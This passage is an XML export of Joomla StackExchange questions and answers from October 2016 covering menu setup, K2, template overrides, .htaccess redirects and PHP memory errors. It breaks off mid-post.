  <row Id="18031" PostTypeId="1" AcceptedAnswerId="18032" CreationDate="2016-10-02T18:38:12.823" Score="1" ViewCount="575" Body="&lt;p&gt;Can anyone tell me how you select WHICH K2 category to show when assigning it to a new menu item?  It gives you the option to show a list of items under a specific category, but no way to pick which category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="9096" LastActivityDate="2016-10-02T19:13:06.260" Title="How to Select K2 Category to Show When Creating Menu Item" Tags="|k2|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18032" PostTypeId="2" ParentId="18031" CreationDate="2016-10-02T19:13:06.260" Score="0" Body="&lt;p&gt;Very simple indeed:&lt;br&gt;&#xA;Once you choose Menu Item Type as &lt;code&gt;K2 | Categories&lt;/code&gt;&lt;br&gt;&#xA;you click &lt;code&gt;Options&lt;/code&gt; tab and in &lt;code&gt;Select Categories&lt;/code&gt; field choose the category you want, and adjust other settings per your liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hLoxd.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hLoxd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-10-02T19:13:06.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18035" PostTypeId="1" AcceptedAnswerId="18037" CreationDate="2016-10-03T12:01:30.397" Score="2" ViewCount="301" Body="&lt;p&gt;I was hoping for some advice. A user has asked for a telephone number to be implemented in the space between the main menu and right menu (See screenshot)&lt;a href=&quot;https://i.stack.imgur.com/hw2KI.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hw2KI.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt; IN the space between Contact and Book Now. I have implemented this as a menu item (text separator) but this doesn't give me many options in way of css styling. I was hoping for some suggestions as to a better method for implementing this, possibly to allow for an icon to be used also?&lt;/p&gt;&#xA;&lt;p&gt;Any ideas are very welcome.&lt;/p&gt;&#xA;&lt;p&gt;Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-10-06T08:38:55.563" Title="Telephone number in Main Menu" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18036" PostTypeId="2" ParentId="18035" CreationDate="2016-10-03T12:52:32.667" Score="0" Body="&lt;p&gt;You can try option to external link. &#xA;In addres url you complete with &quot;#&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-10-03T12:52:32.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18037" PostTypeId="2" ParentId="18035" CreationDate="2016-10-03T12:59:17.137" Score="1" Body="&lt;p&gt;&lt;p&gt;Piggybacking on Max, I would do a external link and you can use the syntax &lt;b&gt;tel:1231231234&lt;/b&gt; to make it a clickable link for mobile.  &lt;/p&gt;&lt;p&gt;For the icon, you can use css to add that.  The selector will depend on template but as an example:&lt;/p&gt;&lt;code&gt;.menu li.item100 a:before {font-family:FontAwesome;content:&quot;\f023&quot;;}&lt;/code&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You will have to play with the formatting a bit.  If you can't find how to call that menu item in the CSS, post the URL and we can help you find it.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-10-03T12:59:17.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18038" PostTypeId="1" CreationDate="2016-10-03T18:17:23.767" Score="4" ViewCount="1166" Body="&lt;p&gt;I'm developing a module, in my template (MyModule/tmpl/default.php) I'm able to bring my language string to my script by doing this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;Mymodule.options.mydz = {&#xA;    DefaultMessage: &quot;&amp;lt;?php echo JText::_('MOD_MYMODULE_DEFAULT_MESSAGE');?&amp;gt;&quot; }; &#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if I could call my text with Javascript and without MooTools. I found this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;Mymodule.options.mydz = {&#xA;    DefaultMessage: (Joomla.JText._('MOD_MYMODULE_DEFAULT_MESSAGE'))&#xA;};&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But instead of showing my text the browser return &quot;undefined&quot;... I don't know if it still applies, but I read that's because Joomla.JText._ &lt;a href=&quot;https://stackoverflow.com/a/16726237/5842496&quot;&gt;is a function who needs MooTools&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I keep showing text via PHP or there is a better way of using multi-language?&lt;/p&gt;&#xA;" OwnerUserId="7692" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2019-12-14T03:35:33.833" Title="How to use joomla language in a script?" Tags="|joomla-3.x|development|javascript|multilingual|" AnswerCount="2" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18039" PostTypeId="1" AcceptedAnswerId="18072" CreationDate="2016-10-03T20:49:31.123" Score="2" ViewCount="255" Body="&lt;p&gt;So, I've inherited a joomla 3 site to maintain, and the current contact page seems to be custom set up &lt;a href=&quot;http://greentec-capital.com/index.php/contact&quot; rel=&quot;nofollow&quot;&gt;http://greentec-capital.com/index.php/contact&lt;/a&gt;: The page has a google map, provided by the google map plug in and then the page is set to single contact. I've toyed around with creating multiple contacts and changing the setting from single contact to multiple contacts, but changing the setting makes the map disappear. From what I can tell, the layout seems to be determined by html files in the template folder &quot;com_contact.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;how is the map being added to the page and why does it disappear when I change the contact type?&lt;/li&gt;&#xA;&lt;li&gt;How can I display more than one address, but keep the same layout?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From, what I've seen in the template, it seems to coded into the template files. That I'd like to do is keep the layout, but add a second address beneath the first one.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2016-10-04T05:38:18.533" LastActivityDate="2016-10-06T14:05:37.047" Title="How to modify existing contact page?" Tags="|templates|contact|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18040" PostTypeId="2" ParentId="18026" CreationDate="2016-10-04T04:56:19.957" Score="1" Body="&lt;p&gt;I think you need to path 'template_path' in the config as well. Probably something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['template_path'] = array(&#xA;    JPATH_COMPONENT.'/views/tmpl',&#xA;    $custom_view_path.'/tmpl',&#xA;    /* maybe other override place here like the template */&#xA;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't think any of the autogenerated paths match your file structure (lines 2703 to 2725).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if (!array_key_exists('template_path', $config))&#xA;    {&#xA;        $config['template_path'][] = $componentPaths['main'] . '/views/' . FOFInflector::pluralize($config['view']) . '/tmpl';&#xA;&#xA;        if ($templateOverridePath)&#xA;        {&#xA;            $config['template_path'][] = $templateOverridePath . '/' . FOFInflector::pluralize($config['view']);&#xA;        }&#xA;&#xA;        $config['template_path'][] = $componentPaths['main'] . '/views/' . FOFInflector::singularize($config['view']) . '/tmpl';&#xA;&#xA;        if ($templateOverridePath)&#xA;        {&#xA;            $config['template_path'][] = $templateOverridePath . '/' . FOFInflector::singularize($config['view']);&#xA;        }&#xA;&#xA;        $config['template_path'][] = $componentPaths['main'] . '/views/' . $config['view'] . '/tmpl';&#xA;&#xA;        if ($templateOverridePath)&#xA;        {&#xA;            $config['template_path'][] = $templateOverridePath . '/' . $config['view'];&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-10-04T04:56:19.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18041" PostTypeId="1" CreationDate="2016-10-04T06:35:17.060" Score="1" ViewCount="36" Body="&lt;p&gt;I noticed that I couldn't log into the back end or front end of a joomla 3.5.1 installation. After hours of trying to figure it out, I finally went to phpmyadmin and viewed the _users table to reset the admin password. &#xA;What I found was weird. Every username is admin and all the passwords were the exact same string, starting with e4da...! The rest seemed normal. The id and name fields were unique and what I recognized from a backup. &#xA;First I would like to know if this has been seen and reported as searches have turned up no hits. &#xA;Second I am considering the best way to fix is to repair from a backup of the _users table. &#xA;The rest of the site seems fine. The public site is operational and I haven't noticed any issues. &#xA;Third any thoughts as to other tables I might check or what could prevent this from happening again? Also I know that not all my users have tried to log in since seeing this problem. I logged in successfully 2 days ago. thanks&lt;/p&gt;&#xA;" OwnerUserId="9102" LastActivityDate="2016-10-04T06:35:17.060" Title="Found something weird in my _users table. Wondering if hacked or if part of the joomla code might the culprit. And most important how to resolve." Tags="|user|phpmyadmin|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18042" PostTypeId="1" CreationDate="2016-10-04T11:44:31.823" Score="2" ViewCount="181" Body="&lt;p&gt;I've updated Joomla to 3.6.2 in the past month on a site. I'm looking to update Akeeba Extensions but I don't have either the side menu or upload box in the Extensions: Install page. I have reinstalled core files from Components &gt; Joomla! Update and also checked the database is up to date.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2018-06-27T02:31:33.147" Title="The Extensions: Install page is empty in 3.6.2 Admin" Tags="|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18043" PostTypeId="2" ParentId="18042" CreationDate="2016-10-04T11:49:16.563" Score="1" Body="&lt;p&gt;I was using Firefox on Mac and found an error in firebug about a local storage file being corrupt. (NS_ERROR_FILE_CORRUPTED) This seemed to prevent the form and menu from showing. Switching to Google Chrome resolved the issue for me.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2016-10-04T11:49:16.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18044" PostTypeId="1" AcceptedAnswerId="18994" CreationDate="2016-10-04T13:01:08.967" Score="1" ViewCount="28" Body="&lt;p&gt;Is it possible to modify the joomla contacts to have two addresses and diplay them both? working with joomla 3 and the com_contacts page.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2017-01-30T14:13:42.247" Title="How to show two addresses for a contact on joomla contact page?" Tags="|contact|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18046" PostTypeId="1" AcceptedAnswerId="18051" CreationDate="2016-10-04T13:33:42.663" Score="1" ViewCount="21" Body="&lt;p&gt;I have an error regarding an homemade component for editing articles in frontend. It allows to view the content history of the edited article. &#xA;In the tmpl directory of the homemade component I use :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt; echo $this-&gt;form-&gt;getInput('contenthistory'); &lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The generated code (source code) is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;button class=&quot;btn modal_5297&quot; rel=&quot;{handler: 'iframe', size: {x: 800, y: 500}}&quot; &#xA;href=&quot;/joomla362/index.php/component/contenthistory/?view=history&amp;layout=modal&#xA;&amp;tmpl=component&amp;field=jform_contenthistory&amp;item_id=5297&amp;type_id=1&#xA;&amp;type_alias=com_content.article&amp;9b8f00e58db415cdfa015fe5da392cb4=1&quot; title=&quot;Versions&quot;&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error exist with Joomla!3.6.2 but not with Joomla!3.4.8.&#xA;If I open a window with the complete URL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;b&gt;http://my-server-ip/&lt;/b&gt;joomla362/index.php/component/contenthistory/?view=history&#xA;&amp;layout=modal&amp;tmpl=component&amp;field=jform_contenthistory&amp;item_id=5297&amp;type_id=1&#xA;&amp;type_alias=com_content.article&amp;9b8f00e58db415cdfa015fe5da392cb4=1&quot; title=&quot;Versions&quot;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It give me the content history of the article.&#xA;I saw that source code changes somehow between Joomla!3.4.8 and Joomla!3.6.2 but I am not able to adapt myself. &#xA;Can someone tell me the good way to see content history in frontend ?&#xA;Thanks for help.&lt;/p&gt;&#xA;" OwnerUserId="7042" LastActivityDate="2016-10-05T09:11:29.377" Title="joomla3 : getinput('contenthistory') changed between Joomla!3.4.8 - Joomla!3.6.2" Tags="|joomla-3.x|development|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18047" PostTypeId="2" ParentId="9968" CreationDate="2016-10-04T19:48:19.893" Score="1" Body="&lt;p&gt;I found another easy way if your data was in Array:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In teaser.php or full.php you can access any information on element with code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;$status = $item-&amp;gt;getElement('0e3527e4-032c-4d35-a630-7b0418eb9ecc')-&amp;gt;getElementData()-&amp;gt;get('option');  &#xA;print_r($status['0']);   &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In some cases, 'option' need be replced by 'value'.&#xA;You need access your data base and see the structure of element like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;0e3527e4-032c-4d35-a630-7b0418eb9ecc&quot;:  {&#xA;        &quot;option&quot;:  {&#xA;            &quot;0&quot;: &quot;em-andamento&quot;&#xA;        },&#xA;        &quot;select&quot;: &quot;1&quot;&#xA;    },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See this other obeject structure ofr 'value' case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;d9f72e0a-50d3-4be7-89f4-4d30b11aa5a1&quot;:  {&#xA;        &quot;0&quot;:  {&#xA;            &quot;value&quot;: &quot;2015-11-18 02:00:00&quot;&#xA;        }&#xA;    },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2017-02-20T14:32:33.203" LastActivityDate="2017-02-20T14:32:33.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18048" PostTypeId="1" CreationDate="2016-10-04T21:29:16.177" Score="1" ViewCount="61" Body="&lt;p&gt;I'm creating a hidden menu item that will be located at ejgh.org/mammo (new landing page not yet published). I want this page to have the parent item/navigation of our &quot;Cancer&quot; menu that is in the primary menu of the site. However, when I go to create the article item in the Hidden Menu, I don't have the &quot;Cancer&quot; page in the primary menu as an option to link it to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done? If so, how? I've searched google and other forums and can't seem to find where this specific question is addressed. Thank you. &lt;/p&gt;&#xA;" OwnerUserId="8986" LastActivityDate="2016-10-04T21:29:16.177" Title="How to add a Parent Item in the HIdden Menu Joomla 3.3" Tags="|joomla-3.3.x|menu|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18049" PostTypeId="1" AcceptedAnswerId="18054" CreationDate="2016-10-05T06:23:52.880" Score="1" ViewCount="884" Body="&lt;p&gt;my site's URLs open in both with and without index.php. see below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/index.php/en/support/download-center/softwares&#xA;www.example.com/en/support/download-center/softwares&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can i redirect URLs with index.php on the URLs without index.php?&lt;/p&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2016-10-05T12:29:56.557" Title="redirecting index.php urls on non-index.php urls" Tags="|joomla-3.x|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18050" PostTypeId="1" CreationDate="2016-10-05T09:08:47.767" Score="2" ViewCount="166" Body="&lt;p&gt;I try to find a way to auto insert code or text to every article on submission. I find this article on joomla &lt;a href=&quot;https://docs.joomla.org/Add_text_to_an_article_using_template_overrides&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Add_text_to_an_article_using_template_overrides&lt;/a&gt; ,that uses template overrides to make this happen.Using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var text = &amp;lt;?php &#xA;    $addToText = '&amp;lt;p&amp;gt;Joomla! automatically added this text.&amp;lt;/p&amp;gt;'; &#xA;    if (strpos($this-&amp;gt;article-&amp;gt;text, $addToText) == 0) {&#xA;           $this-&amp;gt;article-&amp;gt;text .= $addToText;&#xA;    }&#xA;   echo $this-&amp;gt;editor-&amp;gt;getContent( 'text' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on form.php file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;,but this article is very old, i guess from joomla 1.5... &lt;/p&gt;&#xA;" OwnerUserId="8538" LastActivityDate="2017-03-28T10:46:43.083" Title="Auto insert text (or code) on article" Tags="|overrides|joomla-3.6|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18051" PostTypeId="2" ParentId="18046" CreationDate="2016-10-05T09:11:29.377" Score="0" Body="&lt;p&gt;I found a way to fix this problem by adding the line &lt;pre&gt;JHtml::&lt;em&gt;('behavior.modal');&lt;/pre&gt; Before I used the line &lt;pre&gt;JHtml::&lt;/em&gt;('behavior.modal', 'a.modal_jform_contenthistory');&lt;/pre&gt;&lt;/p&gt;&#xA;" OwnerUserId="7042" LastActivityDate="2016-10-05T09:11:29.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18052" PostTypeId="1" AcceptedAnswerId="18053" CreationDate="2016-10-05T10:39:03.627" Score="1" ViewCount="55" Body="&lt;p&gt;I am running K2 (Version 2.7.1) on a local instance of WAMP running Joomla 3.6.2. I was able to edit K2 items perfectly, but suddenly this morning, when trying to go into K2 (just the items) I'm being shown the following error (reporting is set to maximum):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 17312936 bytes) in C:\wamp\www\client_sites\sitenameremoved\libraries\joomla\application\web.php on line 763&#xA;Call Stack&#xA;&#xA;#   Time    Memory  Function    Location&#xA;1   0.0076  262024  {main}( )   ..\index.php:0&#xA;2   0.7044  5922712 JApplicationCms-&amp;gt;execute( ) ..\index.php:51&#xA;3   97.6680 227415512   JApplicationAdministrator-&amp;gt;render( )    ..\cms.php:263&#xA;4   97.6686 227416432   JApplicationCms-&amp;gt;render( )  ..\administrator.php:433&#xA;5   98.4181 263286216   JApplicationBase-&amp;gt;triggerEvent( )   ..\cms.php:1068&#xA;6   98.4182 263286264   JEventDispatcher-&amp;gt;trigger( )    ..\base.php:106&#xA;7   98.4246 263339360   JEvent-&amp;gt;update( )   ..\dispatcher.php:159&#xA;8   98.4246 263339816   call_user_func_array:{C:\wamp\www\client_sites\sitenameremoved\libraries\joomla\event\event.php:69} ( ) ..\event.php:69&#xA;9   98.4247 263339944   PlgSystemAdvancedModules-&amp;gt;onAfterRender( )  ..\event.php:69&#xA;10  98.4247 263340184   PlgSystemAdvancedModulesHelper-&amp;gt;replaceLinks( ) ..\advancedmodules.php:89&#xA;11  98.4249 263340320   JApplicationWeb-&amp;gt;getBody( ) ..\helper.php:117&#xA;12  98.4249 263340704   implode ( ) ..\web.php:763&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have rebooted WAMP and the PC it's running on, but can't work out what's changed. This error has only just started showing.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2016-10-05T10:52:30.987" Title="Editing K2 Items showing error" Tags="|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18053" PostTypeId="2" ParentId="18052" CreationDate="2016-10-05T10:52:30.987" Score="1" Body="&lt;p&gt;Ok, so it turns out this wasn't an issue with Joomla or K2 at all, but an issue with WAMP. I increased the PHP memory limit in php.ini to 512M and edited the index.php within the root of the Joomla install and added the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('memory_limit', '512M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastActivityDate="2016-10-05T10:52:30.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18054" PostTypeId="2" ParentId="18049" CreationDate="2016-10-05T12:29:56.557" Score="3" Body="&lt;p&gt;&lt;p&gt;To remove the index.php out of the URL, you could try adding this to your .htaccess:&lt;/p&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} ^/index.php/&lt;/code&gt;&lt;code&gt;&#xA;RewriteRule ^index.php/(.*) /$1 [R,L]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-10-05T12:29:56.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18055" PostTypeId="1" CreationDate="2016-10-05T12:51:00.723" Score="1" ViewCount="547" Body="&lt;p&gt;on joomla frontend submission you can upload intro and full image images using joomla media manager. You first upload on the folder you choose and then select image and then insert image.&#xA;I need to change that behavior, i want to upload image directly to specific folder without using media manager. Just select your image and then upload. How can i make this happen? Can i make it using template overrides?&lt;/p&gt;&#xA;" OwnerUserId="8538" LastActivityDate="2016-10-05T21:13:03.927" Title="Easy upload intro image from frontend on specific folder" Tags="|template-override|images|media-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18057" PostTypeId="2" ParentId="18055" CreationDate="2016-10-05T13:17:54.223" Score="1" Body="&lt;p&gt;&lt;p&gt;I highly suggest using the Joomla Content Editor (JCE): &lt;a href=&quot;https://www.joomlacontenteditor.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;It's free and you can install and make it the default editor for your site. Once installed, its image manager overrides the core one, so when you click on Intro/full image, it pops up that dialog where you can upload directly there.&lt;/p&gt;&lt;p&gt;You can also drag and drop into the body of the article if you do not want to see any popups.  However, if you wanted to assign as the Intro/Full Image on the &quot;Images and Links&quot; tab, you would have to know the file name and manually input it.  So if your default folder was /images/ and you did a drag/drop of sample.jpg, you would have to type into the Inntro Image field: images/sample.jpg&lt;/p&gt;&lt;p&gt;Here is a demo if you want to check it does what you need it to: &lt;a href=&quot;http://demo.joomlacontenteditor.net/&quot; rel=&quot;nofollow&quot;&gt;http://demo.joomlacontenteditor.net/&lt;/a&gt;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastEditorUserId="464" LastEditDate="2016-10-05T21:13:03.927" LastActivityDate="2016-10-05T21:13:03.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18058" PostTypeId="1" CreationDate="2016-10-05T13:28:05.033" Score="1" ViewCount="26" Body="&lt;p&gt;Ive been searching the last week or so for a joomla based slideshow like component which supports elements remaining in situ between some slides. Ideally on subsequent slides these elements would disappear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever seen a component which supports some elements switching ? One which remains editable to the client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any thoughts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;K&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.&#xA;Slide 1 : &#xA;TITLE 1&#xA;SUBTITLE 1&#xA;B/GROUND 1&#xA;Pressing next &gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slide 2:&#xA;TITLE 1 (still in situ)&#xA;SUBTITLE 2&#xA;B/GROUND 1&#xA;Pressing next &gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slide 3:&#xA;TITLE 1 (still in situ)&#xA;SUBTITLE 3&#xA;B/GROUND 1&lt;/p&gt;&#xA;" OwnerUserId="9113" LastActivityDate="2016-12-21T15:11:40.270" Title="Slideshow component where some elements exist across mulitiple slides?" Tags="|component|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18060" PostTypeId="2" ParentId="16064" CreationDate="2016-10-05T16:43:10.450" Score="1" Body="&lt;p&gt;Make the checkbox a radio button instead of checkbox, make the radio button required, and then follow &lt;a href=&quot;https://stackoverflow.com/questions/279421/can-you-style-an-html-radio-button-to-look-like-a-checkbox/37909047#37909047&quot;&gt;this guide&lt;/a&gt; to make it look the radio button look like a checkbox.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-10-05T16:43:10.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18062" PostTypeId="2" ParentId="18008" CreationDate="2016-10-05T17:51:35.540" Score="1" Body="&lt;p&gt;What you need to do is setup a &quot;Customer Orders&quot; page in your menu. Navigate to one of your menus and add a new item called &quot;Customer orders&quot; as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9GIaK.png&quot; alt=&quot;HikaShop Menu Items&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a list of different pages the customer has access to, you could create your own menu with those items and then add a &quot;Menu&quot; module to the sidebar of any/all pages to access them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To go a step further&lt;/strong&gt;, you could just create one of HikaShop's built-in &quot;User control panel&quot; menu items and all the customer info, including orders, will be listed on that page. You can see what that page looks like here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://demo.hikashop.com/index.php/en/other-features/user-control-panel&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3W5dw.png&quot; alt=&quot;HikaShop User Control Panel&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove the advertisement, make sure you purchase one of the &quot;premium&quot; versions:&#xA;&lt;a href=&quot;http://www.hikashop.com/extensions/compare-versions.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hikashop.com/extensions/compare-versions.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-10-05T17:51:35.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18064" PostTypeId="2" ParentId="18058" CreationDate="2016-10-06T08:14:18.990" Score="1" Body="&lt;p&gt;The simplest way would be to keep the same title and fade in slide transitions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up a regular slideshow with 3 slides. Keep the title exactly the same for all 3 (obviously the images and sub title change). So long as you don't have fancy transitions that involve movement (such as sliding in), it will appear that the title never changes and remains fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can accomplish this with most standard slideshow modules. We often use Favslider for Joomla as it is pretty lightweight.&lt;/p&gt;&#xA;" OwnerUserId="8225" LastActivityDate="2016-10-06T08:14:18.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18065" PostTypeId="2" ParentId="18035" CreationDate="2016-10-06T08:38:55.563" Score="0" Body="&lt;p&gt;+1 to @YellowWebMonkey's answer, but you can just add classes, for styling or icons, directly to the menu item itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/J6JvY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J6JvY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2016-10-06T08:38:55.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18068" PostTypeId="2" ParentId="17110" CreationDate="2016-10-06T12:21:18.507" Score="4" Body="&lt;p&gt;There is another solution that you can use which doesn't require any installs or modifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First create a new module of type: &lt;strong&gt;&quot;Articles - Category&quot;&lt;/strong&gt;. This type of module allows you to filter results by author:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ztqnr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ztqnr.jpg&quot; alt=&quot;Joomla 3 - adding new module&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose author(s):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2Xifm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Xifm.jpg&quot; alt=&quot;Choose author(s)&quot;&gt;&lt;/a&gt;&#xA;Then, create an article and load the module created above, using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{loadposition position[, style]}&#xA;{loadmodule module[, title[, 